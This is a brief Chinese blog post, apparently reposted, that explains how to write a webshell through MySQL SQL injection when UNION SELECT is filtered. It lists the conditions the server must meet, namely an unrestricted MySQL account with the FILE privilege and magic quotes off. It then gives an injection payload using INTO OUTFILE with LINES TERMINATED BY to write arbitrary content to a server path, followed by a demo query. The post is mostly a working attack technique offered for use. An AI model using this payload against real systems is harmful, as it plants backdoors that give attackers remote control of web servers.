过滤union select 写webshell

满足条件

  1. mysql未降权 未关闭file权限

  2. gpc关闭


LIMIT 0,1 INTO OUTFILE ‘这里是路径‘ LINES TERMINATED BY ‘这里是你想写的内容‘--


SELECT * FROM `user` where  user=‘root‘ LIMIT 0,1 INTO OUTFILE ‘D:/xxxxx/demo.txt‘ LINES TERMINATED BY ‘demo‘;


技术分享

本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1608359

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。